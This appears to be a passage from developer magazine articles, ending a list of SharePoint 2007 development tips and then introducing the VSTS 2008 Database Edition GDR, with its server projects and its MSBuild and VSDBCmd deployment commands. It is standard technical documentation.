You can automate custom settings installation and management by using the SharePoint object model and deployment tools. Use the SPWebConfigModification class, solution deployment, and the CONFIG directory under the SharePoint 12 hive to form your configuration management strategy. Please see the "Build Deployable Solutions" section in this article for additional details about deploying through solutions.
The SharePoint SPWebConfigModification class allows you to programmatically register settings in the web.config of a SharePoint Web application. Using SPWebConfigModification, you can write a console application or stsadm extension to list, add, or delete configuration entries. This approach allows for rapid and consistent modification of large sets of SharePoint configuration settings. The SPWebConfigModificationType enumeration within this class contains three values specifying the type of modification being made: EnsureChildNode, EnsureAttribute, and EnsureSection. Exercise caution when using EnsureSection because entries added with this enumeration cannot be easily removed. For more information, see "Automate Web App Deployment with the SharePoint API."
The SharePoint CONFIG directory allows you to declaratively register settings by maintaining XML files in this directory. WSS applies settings in the XML files to the web.config when SharePoint creates a Web application. Settings in this folder are applied to all Web applications. For information on this approach, see "Managing Web.Config Customizations."

8. Know Where Configuration Settings Belong
The previous tip explored different types of SharePoint configuration settings and how to manage them. As an application is promoted through environments, such as from test to production, changes to the configuration settings, especially those pointing to external systems, can feel like sand shifting under your feet. Knowing where configuration settings belong can put management of environmental settings on more solid ground.
Composite application development has increased reliance on configuration settings. The power and ease of use of configuration settings has arguably led to their overuse. One way to reduce constant changes to these settings is by applying the convention-over-configuration paradigm by instead inferring values from things such as naming conventions. We outline an example of the convention-over-configuration paradigm in the "Continuous Integration and Automated Build" section by demonstrating how to integrate SharePoint Solution packaging into your Visual Studio projects. A related example of this paradigm appears in the Web content tip, "Use Relative Links Whenever Possible."
Instance-specific settings are unique to each instance of a Web Part. For example, you might have a Web Part that displays a list of projects on a program manager's page, while on a developer's page it shows project and task details. Instance-specific settings are best stored in a custom Tool Part or in a Web Part's miscellaneous Tool Part properties.
Configuration settings being used by more than one component are considered global settings. Examples of settings in this category are URLs for external Web services, business object settings, and data settings. These settings are best kept in web.config and managed as described in the "Have SharePoint Manage Custom Config Settings" section.

9. Brand SharePoint for Scale and Maintenance
Branding your SharePoint site provides users with the most obvious visual indication of your application's purpose. Branding involves working with various artifacts, such as Master Pages, content pages, page layouts, site definitions, and CSS. For a tip on creating custom Master Pages, see the online tip "Creating Custom Master Pages."
Resources

Microsoft Office SharePoint Server 2007 and Windows SharePoint Services v3

Business Data Catalog

SharePoint 2007: BDC—The Business Data Catalog

WebPart Class (Microsoft.SharePoint.WebPartPages)
Make sure your application scaling and maintenance strategy takes into account how you will manage these branding artifacts. For details on SharePoint branding, see "Microsoft Office SharePoint Server 2007 and Windows SharePoint Server v3" in the "Resources" sidebar.
Before choosing a tool for branding, consider the size of your SharePoint implementation, the extent of your branding effort, and the expertise of the developers supporting the application. We will focus on two tools: SharePoint Designer and Visual Studio.
SharePoint Designer has its roots in FrontPage and is a Web design tool useful for editing Master Pages and CSS. However, the ease of use provided by SharePoint Designer comes at a price:
  • There's no integrated source control support.
  • Changes made within SharePoint Designer result in the modified content becoming unghosted.
In an unghosted state, copies of the content are stored in the content database instead of the file system. As a result, unghosting has the following effects:
  • Makes deployments difficult to manage because the content can be updated only within SharePoint or SharePoint Designer
  • Disconnects a site from updated content deployed to the file system
  • Leads to potential performance issues on large, active SharePoint implementations
For these reasons, we believe SharePoint Designer is most appropriate for small to medium implementations and prototypes.
Visual Studio provides a consistent development environment for both application components and branding artifacts, but it lacks the graphical editing functionality found in SharePoint Designer. Because of this, developers must be more proficient with editing HTML and CSS. A good project structure must be set up to maintain the branding artifacts. With Visual Studio's integrated source control support, it's easier to manage environment-specific configurations and package branding artifacts to be deployed across multiple environments. In addition, branding artifacts remain ghosted. Therefore, Visual Studio is our preferred SharePoint branding tool for large enterprise and commercial implementations.
There are three approaches to applying branding: site templates, custom site definitions, and OOB site definitions coupled with customizations via Feature Stapling. Creating custom site templates may be the fastest approach for small implementations and prototypes. However, sites created from a template will not update when a new template is uploaded. Custom templates do not allow you to specify the template ID, which will require changes to any provisioning code that references the templates. Also, site templates create only unghosted content, which could impact performance.
Site definitions are more flexible and portable than site templates. You can manage the site definition file (onet.xml) and associated content in source control and deploy ghosted content, allowing a site to be updated with new content provided that it has not already been customized. Site definitions can be difficult to create because of the complexity of the XML you need to edit. This task is made easier by using OOB site definitions (found in 12\Template\SiteTemplates) as a starting point or by exporting a site definition using VSeWSS. For information about site definitions, see "Site Definitions Demystified."
When dealing with medium to large implementations, combining OOB site definitions with custom Features is the best approach. Features can be used to extend site definitions and provide a modular approach to provisioning sites. For a good overview of Features, look at the Office Space column "Features for SharePoint." The VSeWSS extensions, as well as some third-party tools, provide templates for creating common Features used in branding Web sites.
Feature stapling lets you attach a Feature to a site definition and have it enabled when a new Web site is created. This is a great way to apply your branding to the SharePoint OOB site definitions.

10. Build Deployable Solutions
You can get your components into a SharePoint Web application in several ways. This section focuses on how to utilize the packaging and deployment frameworks that SharePoint provides, including Web solution packages (Solutions/WSPs), Features, and the SharePoint object model.
Deciding how to package components depends largely on where the components are being deployed. Solutions contain files that will be deployed to the server. Features contain content that will be deployed to the content database.
A Sharepoint solution contains the assemblies and resources to be deployed to SharePoint Web applications. Solutions are compact, simple to deploy and retract, and SharePoint handles mirroring file updates in Sharepoint solutions across multiple servers in a farm. You can also use Sharepoint solutions for web.config modifications. See the sections "Know Critical SPDev Tasks and Information Sources" and "Have SharePoint Manage Custom Config Settings" for additional details on solutions and web.config modifications. Figure 8 lists the common folder locations supported by solutions and their contents. The "12 hive" refers to the SharePoint application root, or <%CommonProgramFiles%>\Microsoft Shared\Web server extensions\12 by default.
Figure 8 Common File Locations Accessible from WSPs
Folder in 12 hive | Contains
\ISAPI\HELP\[LCID] | SharePoint help files. Deploy your own .chm files to this folder (or a localized subfolder)
\CONFIG | Web.config customizations
\ISAPI | SharePoint web services (deploy your custom web services here as well); maps to /_vti_bin
\Resources | Global .resx files accessed from custom features and site definitions
\TEMPLATE\CONTROLTEMPLATES | .Ascx user controls; maps to /_controltemplates
\TEMPLATE\FEATURES | Features, of course!
\TEMPLATE\LAYOUTS | Common site pages; maps to /_layouts
\TEMPLATE\IMAGES | Common site image files; maps to /_layouts/images
\TEMPLATE\SiteTemplates | All SharePoint site definitions; create a <subfolder>\xml to deploy your onet.xml custom site definition
\TEMPLATE\THEMES | All UI elements used in themes; clone an existing theme folder to create your own
\TEMPLATE\[LCID]\XML | Webtemp.xml files to define available site definitions; add an xml file here for your custom site definition
\TEMPLATE\ADMIN | Pages used by Central Admin; maps to /_admin
\ADMISAPI | Administration web services; maps to /_vti_adm
The following are important rules to remember when working with solutions:
  • Because SharePoint solutions are managed in the configuration database, there can be only one unique instance of a SharePoint solution in a farm. This point is important if you intend to use the same farm to host different releases of the same Web application—for example, both current maintenance and future development environments.
  • SharePoint tracks Solutions by ID not by name, so you need to maintain solution IDs in source control if you intend to upgrade Solutions in the future.
  • The 12 hive is a shared Web application space. If you plan on hosting multiple Web apps in the same farm, you need to ensure that your SharePoint solutions do not overwrite existing SharePoint files or files deployed by other solutions in this space.
  • Solutions cannot deploy files outside the folders listed in Figure 8, including folders under the Web application, such as wpresources, global _wpresources, or other folders outside the 12 hive.
  • Solutions cannot deploy content inside a SharePoint Web application. This is the role of SharePoint Features.
Features can make Web Parts available in the gallery, upload and publish files to document libraries, and perform custom actions such as setting the site theme or default Master Page by using Feature receiver assemblies. See the information about using the right branding technique earlier in this article for information on using Features for branding.
Here are some caveats for creating Features:
  • Features do not track added content, so it's the responsibility of the Feature to clean up after itself when it is deactivated by using a Feature receiver. Consider the entire life cycle of the Feature and whether content deployed by the Feature may be needed by other parts of the Web application before the content is deleted. For example, removing a Master Page on deactivation of a Feature will break any pages that inherit from that Master Page.
  • Deactivate a Feature from all Web applications before removing the solution used to deploy the Feature. If you don't, the solution deployment will fail, and if the Feature folder has been removed, you will need to force an uninstall of the Feature using STSADM.

Enough Said
Using this article as your map, review the references provided for information and download the article's code sample to help you get started. Perhaps as you develop applications on the SharePoint platform, you will review these best practices again and also find use in the code samples. If you need clarification or want to give us feedback about the tips we've provided or other tips you consider important, please send us your questions or comments, and we will endeavor to respond quickly. You can reach us via e-mail at ewilansky@yahoo.com.
Additional Tips
Here are some additional tips for developing SharePoint solutions.
Use Relative Links Whenever Possible
Consider using relative links rather than absolute links. Including relative links to locations such as Document libraries, data connections, and Reports libraries simplifies deployment from one SharePoint instance to another. With the Reports library example in mind, if you use a consistent Web location to the Report library in all your SharePoint environments, you’ll no longer need to change pointers to reports as you move your application from one environment to the next. Typically, convention over configuration applies to code configuration, but this concept can also be loosely applied to other configuration aspects of your deployments.
On a related note, we hope that Microsoft will support relative links inside the SharePoint platform, where currently some configuration settings require absolute links. For example, you must specify an absolute URL to the Form library in an InfoPath .udcx data connection fi le, and the ReportViewer Web Part requires an absolute path to the report definition.
Creating Custom Master Pages
One common way to brand SharePoint sites with your look and feel is to create custom Master Pages, which give you the most control over the layout of your site. You can take an existing SharePoint Master Page and modify it to meet your needs. This approach works best if the existing Master Page is close to the layout you want. If the look and feel you want is very different from any of the OOB Master Pages, you might be inclined to start from scratch. However, because SharePoint requires certain functionality in Master Pages, it’s recommended that you start with a minimal Master Page and build your look and feel from there. To find out more about creating a minimal Master Page, see “How to: Create a Minimal Master Page” at . You can also download some minimal Master Pages from Heather Solomon’s blog, which is also listed in the Resources section.
Dealing with InfoPath Projects in an Automated Build
Projects created in Microsoft InfoPath Designer will further challenge your efforts to automate your build. The best you can really do is let InfoPath and SharePoint handle the packaging. See “Automate Web App Deployment with the SharePoint API” in the Resources section for details about how to get portable solution packages from InfoPath projects.

Ethan Wilansky is a director in FTI Consulting's Technology Practice and focuses on creating custom SharePoint solutions. As a Microsoft Directory Services MVP, he concentrates on the DS programming framework and is also a member of the Office Developer Advisory Council.

Paul Olszewski is an Information Specialist on a .NET Capability team. He specializes in creating and deploying reusable component applications leveraging Microsoft technologies.

Tomek Stojecki works at Annapolis Computing where he specializes in the architecture and development of .NET apps using design patterns and agile methodologies. He has consulted on a number of SharePoint based projects.

Stefan Kowalewski is a senior consultant on a SharePoint development team. He provides technical expertise and brings proven agile experience to custom SharePoint development efforts.


Database Development
Introducing New Features In The VSTS Database Edition GDR
Jamie Laflen and Barclay Hill

This article discusses:
  • Offline Schema Development
  • Product Architectural Changes
  • Introducing Server Projects
  • SQL CLR Project Support
 This article uses the following technologies:
VSTS 2008 Database Edition GDR
Contents
Offline Schema Development
Database Administration
Product Architectural Changes
Introducing Server Projects
Server Project References
Referencing for Shared Server-Level Objects
Referencing for System Objects
Project Upgrade
New Database Project Build and Deploy
Command-Line Facility—VSDBCmd
SQL CLR Project Support
Static Code Analysis Improvements
﻿Tips and Tricks
In November 2008, the General Distribution Release (GDR) for Microsoft Visual Studio Team System 2008 (VSTS) Database Edition was released. The GDR installs on top of the initial release of VSTS 2008 Database Edition, but it is more than a minor version upgrade. The GDR adds support for SQL Server 2008, incorporates improvements to existing features, includes many new features and extensibility points, and incorporates features that were previously released as power tools.
In this article, we focus specifically on highlighting new features in the GDR, including its support for offline schema development, tools that support new processes that you can use when you develop a database schema, and features that support database administration.
In addition to these process improvements, VSTS Database Edition ﻿GDR also provides the following capabilities:
  • Interpretation and evaluation of your project's schema and interdependencies. Offline processing enables developers to catch syntax and reference errors prior to deployment.
  • Refactoring—By using VSTS Database Edition, you can change the name of an object (such as a table or column), and that change will update all references to the new name.
  • Automated differencing engine—When you deploy a project, it generates a Transact-SQL (T-SQL) script that contains only the necessary changes to make the target database match the source.
  • Database unit testing—You can use a designer that enables development of T-SQL-oriented tests to exercise and verify your schema prior to checking in your code.
  • Test data generation—You can use this tool to generate pseudo-random realistic test data that can be used when you run unit tests.
Along with descriptions of the capabilities these features provide, you'll find some hands-on examples that show them in action.

Offline Schema Development
Historically, database schema development has required writing code against a shared development server and then writing update scripts to migrate changes from one environment to another. This approach does not provide any way to track and merge changes to database objects, which makes moving changes from one environment to another a very manual process.
In VSTS Database Edition, objects (such as tables, stored procedures, and views) that make up your schema are managed in a Visual Studio database project as CREATE scripts. Storing these objects as scripts means you can manage the scripts through a source code control system and allows more than one database developer to edit the scripts simultaneously and then merge them as appropriate when checking in changes. The process of editing script files without being connected to a database is known as offline schema development. Once the definition of your database has been moved from a live database to an offline/modeled environment, database developers can apply agile or iterative development practices that have made application development leaner and less expensive.
A database developer can begin developing offline by creating a database project in Visual Studio and then importing the current development database into the project. The imported project might raise some warnings, but after you clean up the warnings and the project builds successfully, you can check it into your source code control system.
After the project and source code have been checked in, developers on your team can retrieve the project and source code and work with them on their local computers. Changes can now be deployed to a local sandbox database and manually tested. This approach allows a developer to work in isolation without introducing instability into a shared database environment. You can refine this approach by writing one or more database unit tests to verify a change. Once a change has been verified, run all the unit tests against the sandbox database, which verifies not only the modified code but also that the change did not break any other code. After passing the tests, check the changes into the source code control system.
When changes have been checked in and the team is ready, a build can be performed by getting the source from the source code control system. Once built, the database can then be deployed along with application code to an environment in which users can start working with the newly developed product.

Database Administration
VSTS Database Edition provides several tools that facilitate common tasks you perform when you administer a database. One such tool is Schema Compare, which automates the task of comparing and updating schemas. You can use Schema Compare to compare two databases and then generate an update script to create, alter, or drop objects in the target database. If changes need to be made directly to a live database outside the normal deployment process, you can use Schema Compare to compare a database with an offline database project and then import any updates back to the database project to be checked into source code control.
The Schema Compare tool has a number of new features in the GDR. Most notable is its ability to persist comparison settings and options between usage sessions. (Comparison results are not saved, just the options and settings.)
The capability to persist settings and options introduces a new file type to the project system, the .scmp file, which is stored in the Schema Comparison folder of the project system by default. Multiple schema-compare files can be created and saved in the project. You can also save your Schema Compare settings with﻿out a database project to retain comparison settings you use frequently for troubleshooting or other operational reasons.
Schema Compare also now provides session-level option settings that are accessible from the Schema Compare toolbar, shown in Figure 1. You can filter objects to exclude specific object types from comparisons, SQLCMD variables defined in your projects can be substituted for comparisons, and scripting options can be defined that control how the update script is created. All these options can be saved in a .scmp file.
Figure 1 Schema Compare Options
The Schema Compare toolbar provides easy navigation between each schema difference in a comparison. You can filter for types of differences to view new, missing, different, equal, or a combination of these types. Schema Compare also supports comparing .dbschema files. You can now compare any combination of a project, database, and .dbschema file. Writing updates if the target is a .dbschema file is not possible with this release, but all other combinations support both comparison and writing updates to a target.
VSTS Database Edition also provides a tool that makes it easy to compare the data in two database systems. By using Data Compare, an administrator can compare tables that have primary/unique keys and detect where missing, extra, or different data exists in the two systems. Like Schema Compare, Data Compare can generate a script that will write updates directly to the target system to make its data match the source system's data.

Product Architectural Changes
The GDR introduces a number of key architectural changes. One of the most significant is a true model representation of SQL Server databases.
In prior versions of VSTS Database Edition, a design instance of SQL Server 2005 was required. The project system used the design instance as a final validation step for the Data Definition Language (DDL) scripts in the database project. This required each developer to have an instance of SQL Server running locally on his or her desktop or build machines in order to build an offline representation of the database.
With the GDR, the design instance is no longer required, and the project system is supported by a fully modeled representation of the database schema. The GDR builds the model representing the SQL Server database from DDL scripts in your database project and provides the model to all the database tools that are available in Visual Studio. Building the database project produces a .dbschema file that is a serialized XML representation of the model. Deployment of a database project generates a deployment script that is based on a comparison of the project's build output with the model created from the target database.
Between usage sessions of the project, the database project's model is persisted in a .dbml file under the root directory of the project. The .dbml file provides a cache of the model to speed up opening and building of existing database projects that have larger schemas.
Models are implemented by database schema providers (DSPs). The GDR includes three DSPs, one for each supported version of SQL Server—SQL Server 2008, as well as SQL Server 2000 and SQL Server 2005, as in prior versions. With a provider-based model, releases of VSTS Database Edition are now decoupled from releases of SQL Server. When a new version of SQL Server is released or a service pack updates an existing version with new functionality or syntax, a new or updated DSP can be released to support these changes in SQL Server functionality. In future releases of Visual Studio Team System, this provider-based model will enable third-parties to extend VSTS Database Edition's project environment support for other database platforms.

Introducing Server Projects
Server projects, a new feature provided by the GDR, enable a team to define a server-level configuration for their SQL Server databases in a stand-alone project. The main purpose of a server project is to share an expected configuration and objects among database projects. A server project can be referenced by multiple database projects without duplicating server object definitions. For example, you might have three database projects, each representing a user database on your target server. Each of these database projects should have a reference to the same server project to ensure that the configuration of the target database server is consistent.
The server configuration settings defined in a server project are used for verification purposes during deployment, although no actual changes are made to the server configuration at the time of deployment. During deployment, the configuration of the server is verified to match the expected configuration described in the server project. If the configuration verification fails as specified in the server project, deployment will fail and no changes are made to shared server-level objects or user databases.
To configure server settings in a server project, you make changes to the Server.sqlsettings file found in the server project's properties folder. (You can consult SQL Server Books Online for the version of SQL Server you are using for a description of what each server setting does.) An example of server settings is shown in Figure 2.
Figure 2 Examples of Server Settings for a Server Project
By default, no server settings are verified during deployment. To have a setting verified during deployment, check the Verify check box and configure the expected value in the Value column.

Server Project References
Objects in database projects that reference server-level objects require the server-level objects to be defined. Modeling your server-level objects in a server project allows you to reference those objects from your database projects. For instance, if your database project defines a user with a login, you need to create a server project to model the server-level login that is required by the user in your database project. If you are only using system objects and don't have shared server-level objects, you can simply add a reference to the master.dbschema file that is installed with the GDR.

Referencing for Shared Server-Level Objects
Server projects provide support for modeling shared server-level objects, which have different behavior and scope than user-database-level objects. Invalid server-level object references by objects in database projects are flagged and tracked back to the server project, with each unresolved reference indicated by errors or warnings.
A common example of a shared server-level object is a login. Multiple user databases can use the same login when defining user objects in database projects by referencing the login object in a server project. If you have user objects defined in your database projects that reference a login, you must establish a database reference to a server project where the login exists to have your user object fully resolve in your database project. If not, you will receive a validation error similar to the one shown in Figure 3.
Figure 3 An Example of a Validation Error
To reference objects in a server project, first create a server project that represents your master database. The server project is created from a server project template that can be found under the Database Projects node of the New Project dialog box. There are three server project templates, one for each supported version of SQL Server. If the target server already exists, you can import the master database of the target sever into a new server project. Any user-defined objects in the server will be imported. Next, build the server project to verify that no issues exist and create a .dbschema file that models the server.
In your database project, you reference the server project by establishing a new database reference. In the following example, I have a server project (MyServer) and a database project (MyDatabase) in the same solution. Create a database reference by right-clicking the Database References folder of the MyDatabase project in Solution Explorer and then clicking Add Database Reference. You see the dialog box show in Figure 4.
Figure 4 The Add Database Reference Dialog Box
For this type of reference, you should accept the default settings presented in the Add Database Reference dialog box. Using the literal master allows your database objects (such as a stored procedure) to reference objects that exist in the master database (such as a table) by including the master literal as part of the three-part name. If you had unresolved reference errors to server-level objects, they should be fixed by the new reference. Figure 5 shows the database references for the MyDatabase project in Solution Explorer after the reference has been created.
Figure 5 The MyDatabase References

Referencing for System Objects
A reference to a master database is also required if your database project uses system objects. An example of a system object is a system stored procedure, system table, system view, or system catalog. A system object used often in user databases is the sysobjects view. For example, look at the stored procedure shown in Figure 6, which uses the sys.sysobjects and sys.schemas system views. Without a reference to a master database containing the definitions of these objects, numerous warnings are produced, indicating that the system objects used in the stored procedure cannot be resolved. Because stored procedures allow deferred name resolution, these are unresolved reference warnings. This same SELECT statement in a VIEW definition would produce errors.
Figure 6 Warnings and Errors Occur without a Reference to a Master Database
To remove these warnings, you must create a reference to a master database that contains the definitions of these objects. However, referencing system objects does not require a server project. Remember, server projects contain the objects and settings you have defined. To reference a master database containing system objects, you reference a master.dbschema file to resolve references to system objects. To create a reference to the master.dbschema file, define a database reference in the same manner as previously presented, but instead of referencing a project, reference a .dbschema file. The master.dbschema files can be found in the following directories:
"%programfiles%\Microsoft Visual Studio 9.0\VSTSDB\Extensions\SqlServer\
<SQL Version>\DBSchemas"
There are seven .dbschema files installed with the GDR, two for each supported version of SQL Server and an additional dbschema file for the new SQL Types available in SQL Server 2008. Note that each supported version of SQL Server has corresponding master.dbschema and msdb.dbschema files. It is also worth noting that when you create references to master.dbschema files, the model of your project can take a little while to update because these .dbschema files contain all the objects defined in the master database of the SQL Server version that you are targeting. Finally, it is also possible to have both a reference to a server project and a reference to a static master.dbschema file because they serve different purposes. Both references would use the master literal.

Project Upgrade
If you are working with a project created in a version of VSTS Database Edition prior to the GDR, you need to move any server-level objects you created in the pre- and post-deployment scripts into a new server project. During the project upgrade process, any server object defined in the pre- and post-deployment scripts will be moved into a script file named Upgraded.AllServerObjects.sql, which is placed in a subfolder of the root project folder named Upgrade. You can import this script file into a newly created server project by using the Import Script command. To resolve any reference errors or warnings, create a reference from your database project to your new server project.

New Database Project Build and Deploy
When you think about database deployment, a couple of scenarios come immediately to mind:
  • Most IT groups have multiple environments that a build of a departmental application must move through before reaching the production environment and end users.
  • Software vendors have a target database schema in mind when they release an update, but they want to be able to gracefully update a customer's schema that might not match the previous version's schema.
These scenarios were difficult to manage in prior versions of VSTS Database Edition because a T-SQL deployment script was output when a database project was built. The build output was generated by differencing the database project and the database on the target instance (or the design database instance) and then writing a script that would update the target instance to "look like" the project's source. Because the script was generated at build time, there was no way to take the output of a "build" and execute it multiple times against different environments (with potentially different schemas).
In the GDR, the actions taken during build and deploy have changed to better support the scenarios I described. At a high level, a build aggregates the project's contents and generates a set of files that logically represent a deployment package. Deployment consumes the "deployment package" files, generates a deployment plan, and then executes that plan by generating a T-SQL script. You can also configure deployment to apply that script against the target database. As in previous versions, both build and deploy are available as MSBuild tasks and can be used on a team's build server.
To support deploying one build to multiple environments, deployment-oriented configuration information is factored into different files. Although using multiple files adds some complexity, it lets you place the configurations used when deploying to different environments under source code control. To make this concrete, let's look at an example, shown in Figure 7, in which we want to deploy a build of our database project to four different environments.
Figure 7 Example Environments
Environment | Deployment Configuration
Development | Deployments to this environment always recreate the database. This is the Debug project configuration. Customized SqlCmd variables.
Integration | Deployments are differencing, where ALTER statements and DROPs are generated for objects that do not exist in the project. This is the Release project configuration. Customized SqlCmd variables.
User test | Preparation for product deployment. Deployments are differencing. Customized SqlCmd variables.
Production | Deployments are differencing. Customized SqlCmd variables.
Based on these four environments, we can define four customized deployment configuration files and SqlCmd files, each storing the configuration for the specific environment they are meant to target. After setting up these files, the project's properties look like Figure 8.
Figure 8 Project Properties Set Up for Custom Deployment
In addition to the files, you can see that I have set the Development.sqldeployment file to be the default configuration for the Debug project configuration. Similarly, the Development.sqlcmdvars file is the default definition for SqlCmd variables and values.
After a project is successfully built, the build output can be used to deploy to multiple database instances. The same build output can be used to deploy a new database or to update an existing database. As you saw earlier, a deployment by default will use the project's configuration when the project was built; however, you can override any of the .deploymanifest properties on the command line. For example, to deploy to all the environments listed in Figure 8, you would use the following command-line arguments:
Development﻿:
msbuild EnterpriseDB.dbproj /t:Deploy
/p:DeploymentConfigurationFile=sql\debug\Development.sqldeployment
/p:SqlCommandVariablesFile=sql\debug\Development.sqlcmdvars /p:TargetConnectionString=
   "DataSource=DEV\sql2008;Integrated Security=true;Pooling=false"
Integration:
msbuild EnterpriseDB.dbproj /t:Deploy
/p:DeploymentConfigurationFile=sql\debug\Integration.sqldeployment
/p:SqlCommandVariablesFile=sql\debug\Integration.sqlcmdvars /p:TargetConnectionString=
    "DataSource=INT\sql2008;Integrated Security=true;Pooling=false"
User Test:
msbuild EnterpriseDB.dbproj /t:Deploy
/p:DeploymentConfigurationFile=sql\debug\UserTest.sqldeployment
/p:SqlCommandVariablesFile=sql\debug\UserTest.sqlcmdvars /p:TargetConnectionString=
   "DataSource=USERTEST\sql2008;Integrated Security=true;Pooling=false"
Production:
msbuild EnterpriseDB.dbproj /t:Deploy
/p:DeploymentConfigurationFile=sql\debug\Production.sqldeployment
/p:SqlCommandVariablesFile=sql\debug\Production.sqlcmdvars /p:TargetConnectionString=
   "DataSource=PRODUCTION\sql2008;Integrated Security=true;Pooling=false"
These examples use the Deploy MSBuild task to deploy one build of the EnterpriseDB.dbproj to multiple environments using different configurations. You can perform the same type of deployment using a new command-line tool that shipped as part of the GDR, called VSDBCmd.

Command-Line Facility—VSDBCmd
The GDR comes with a command-line tool called VSDBCmd (vsdbcmd.exe). This tool can create a .dbschema file from an existing database and deploy a build output or only a .dbschema file to a target instance. VSDBCmd can also be used on a computer on which Visual Studio is not installed. To move the command-line tool from one computer to another, copy the executable and its components from the Deploy directory under the VSTSDB directory. In a standard Visual Studio installation, this will be "%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\. The Deploy directory can be copied onto a thumb-drive and then placed on another computer.
To introduce VSDBCmd, let's run the tool from the command line. Figure 9 shows the results. Although these options might appear complicated at first glance, there are several points to keep in mind that will help you understand how these options are grouped:
  • VSDBCmd is designed to be used with multiple database platforms. Today, VSTS Database Edition supports only SQL Server, but this is likely to change in future releases.
  • To import a database schema or deploy to a database, you need to supply a connection string. This connection string is a standard ADO.NET connection string for the database provider.
  • Because the tool is independent of any specific database provider, you need to provide a hint with regard to which provider should be used with the connection string, and a connection string must be defined to determine the database version you are targeting. For instance, some options for SQL Server deployment are only available for SQL2005 and later.
Figure 9 Output from VSDBCmd
>"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd" /?
Help for dynamic property usage
/help[+|-]                        (short form /?)
/Action:{Import|Deploy}           (short form /a)
/ConnectionString:<string>        (short form /cs)
/DatabaseSchemaProvider:<string>  (short form /dsp)
@<file>                           Read response file for more options

Help for command actions
/Action:{Import|Deploy}           (short form /a)
/Quiet[+|-]                       (short form /q)
/ConnectionString:<string>        (short form /cs)
/DeployToDatabase[+|-]            (short form /dd)
/ModelFile:<string>               (short form /model)
/ManifestFile:<string>            (short form /manifest)
/DeploymentScriptFile:<string>    (short form /script)
/DatabaseSchemaProvider:<string>  (short form /dsp)
/Properties:<string>              (short form /p)
@<file>                           Read response file for more options
To create a model from the Northwind database, I can execute the following:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Import
/cs:"Data Source=(local)\sql2008;Integrated Security=true;Initial Catalog=Northwind08"
/dsp:sql
/model:northwind.dbschema
Here I indicate that I want to create a .dbschema file named northwind.dbschema from the database specified in the connection string. Because VSDBCmd supports multiple providers, I must also specify the provider to use when creating the .dbschema file, in this case the "sql" provider. As you can see, the options to import a database into a model are fairly straightforward. There are some additional import options that are specific to SQL Server. To see these options, you can use the following dynamic property help command:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Import
/cs:"Data Source=(local)\sql2008;Integrated Security=true"
/dsp:sql
/?
We can now turn around and deploy the model that we imported to a new database. To deploy the model, use the following command:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/cs:"Data Source=(local)\sql2008;Integrated Security=true"
/model:northwind.dbschema
/dd:+
/p:TargetDatabase=NewNorthwind
This command deploys the model contained in northwind.dbschema to the instance (local)\sql2008 and into a new database named NewNorthwind. When VSDBCmd is executed without the deploy to database option (/dd:+), only a deployment script is generated, which is very similar to the script generated by deploying a project or by using Schema Compare. In the previous example, if (/dd:+) was not specified, a diff script would be output (because we did not specify a name, the file name would be northwind.txt). This can be a good way to generate a script for verification and review prior to executing the script against the target instance.
The option /p:TargetDatabase=NewNorthwind is different from the other options. It is an example of the many options that are exposed through the tool extensibility framework. To see all the options that are available to SQL Server, use the following command against a SQL Server 2008 database:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/cs:"Data Source=(local)\sql2008;Integrated Security=true"
/dsp:sql
/?
These are the same options that are available on various deployment and Schema Compare configuration pages.
In addition to deploying a .dbschema file, VSDBCmd can also be used to consume and deploy the output of a database project build. You could use VSDBCmd to perform the same multienvironment deployment performed earlier with MSBuild. However, with VSDBCmd, you do not need to use the .dbproj file to execute the Deploy task or have VSTS Database Edition installed. In the following examples, VSDBCmd is executed within the build output directory:
Development:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/manifest:EnterpriseDB.deploymanifest
/p:DeploymentConfigurationFile=Development.sqldeployment
/p:SqlCommandVariablesFile=Development.sqlcmdvars
/cs:"Data Source=DEV\sql2008;Integrated Security=true"
Integration:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/manifest:EnterpriseDB.deploymanifest
/p:DeploymentConfigurationFile=Integration.sqldeployment
/p:SqlCommandVariablesFile=Integration.sqlcmdvars
/cs:"Data Source=INT\sql2008;Integrated Security=true"
User Test:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/manifest:EnterpriseDB.deploymanifest
/p:DeploymentConfigurationFile=UserTest.sqldeployment
/p:SqlCommandVariablesFile=UserTest.sqlcmdvars
/cs:"Data Source=USERTEST\sql2008;Integrated Security=true"
Production:
"%programfiles%\microsoft visual studio 9.0\vstsdb\deploy\vsdbcmd"
/a:Deploy
/manifest:EnterpriseDB.deploymanifest
/p:DeploymentConfigurationFile=Production.sqldeployment
/p:SqlCommandVariablesFile=Production.sqlcmdvars
/cs:"Data Source=PRODUCTION\sql2008;Integrated Security=true"
From these examples, you can see that VSDBCmd can be used to deploy a build of your database project to multiple environments using different configurations.

SQL CLR Project Support
Since SQL Server 2005, developers have had the capability to implement types, procedures, functions, and triggers as CLR types. Before the GDR, using these types as part of a database project's schema was difficult because the assembly output by the C# or Visual Basic project had to be added as a script with base64-encoded text. With the GDR, support for SQL CLR projects has greatly increased. They can now actively be used as part of your database schema at design time and managed on an instance during project deployment. Let's walk through an example to examine how this works.
First, create a solution and add a SQL Server 2008 database project. Next, add a SQL CLR C# project named CustomTypes, as shown in Figure 10. When this C# project is added, it prompts you for a deployment target. Because the assembly's deployment is going to be managed by the database project, cancel this dialog box.
Figure 10 Adding a SQL CLR Project
Now add a reference from the database project to the C# project. Like C# project references, this reference indicates that the contents of the referenced project are used by the referencing project. Add the reference by right-clicking on the References node in the Database project and then clicking Add Reference. In the Add Reference dialog box, select the CustomTypes project.
Although the reference has been added, you still need to customize how it is configured so that it is deployed correctly. To modify the assembly's configuration, select the reference and then press F4. Figure 11 shows what you will see in the property browser.
Figure 11 Setting Properties for CustomTypes
For this example, I modified AssemblyName to match the name of the project and AssemblyOwner to explicitly be dbo. By default, the permission level of the assembly is Safe. However, you can change this setting if you need to deploy unsafe code to your SQL Server instance.
